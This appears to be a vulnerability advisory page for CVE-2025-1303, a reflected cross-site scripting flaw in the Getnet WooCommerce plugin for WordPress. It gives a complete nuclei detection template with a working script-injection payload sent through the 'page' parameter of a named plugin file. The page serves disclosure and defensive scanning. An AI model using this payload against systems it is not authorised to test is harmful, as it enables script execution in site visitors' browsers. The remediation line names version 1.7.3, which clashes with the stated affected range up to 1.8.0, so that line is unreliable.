CVE-2025-1303
Plugin Oficial – Getnet para WooCommerce <= 1.8.0 - Cross-Site Scripting
The Plugin Oficial – Getnet para WooCommerce plugin for WordPress is vulnerable to Reflected Cross-Site Scripting in all versions up to, and including, 1.8.0 due to insufficient input sanitization and output escaping on the 'page' parameter. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link.
Impact
Unauthenticated attackers can execute scripts in users' browsers, potentially stealing data or performing actions on their behalf.
Fix
Update to the latest version beyond 1.7.3.
How to confirm it
Send: GET /wp-content/plugins/wc-checkout-getnet/views/partials/settings/privacy-policy.php?page=1{{payload}}
Positive when: status_code == 200 and contains(body, "<script>alert(document.domain)</script>") and contains(body, "activepost") && contains(body, "gnt-modal-controls")Run it with nuclei: nuclei -id CVE-2025-1303 -u <target>
The full check
id: CVE-2025-1303
info:
name: Plugin Oficial – Getnet para WooCommerce <= 1.8.0 - Cross-Site Scripting
author: Shivam Kamboj
severity: medium
description: |
The Plugin Oficial – Getnet para WooCommerce plugin for WordPress is vulnerable to Reflected Cross-Site Scripting in all versions up to, and including, 1.8.0 due to insufficient input sanitization and output escaping on the 'page' parameter. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link.
impact: |
Unauthenticated attackers can execute scripts in users' browsers, potentially stealing data or performing actions on their behalf.
remediation: |
Update to the latest version beyond 1.7.3.
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2025-1303
metadata:
verified: true
max-request: 1
tags: cve,cve2025,wordpress,wp,wp-plugin,wc-checkout-getnet,xss,reflected,unauth
variables:
payload: '"></script><script>alert(document.domain)</script><script>'
http:
- raw:
- |
GET /wp-content/plugins/wc-checkout-getnet/views/partials/settings/privacy-policy.php?page=1{{payload}} HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- status_code == 200
- 'contains(body, "<script>alert(document.domain)</script>")'
- 'contains(body, "activepost") && contains(body, "gnt-modal-controls")'
condition: andReferences
Use this check only on systems you are authorised to test. Where the data comes from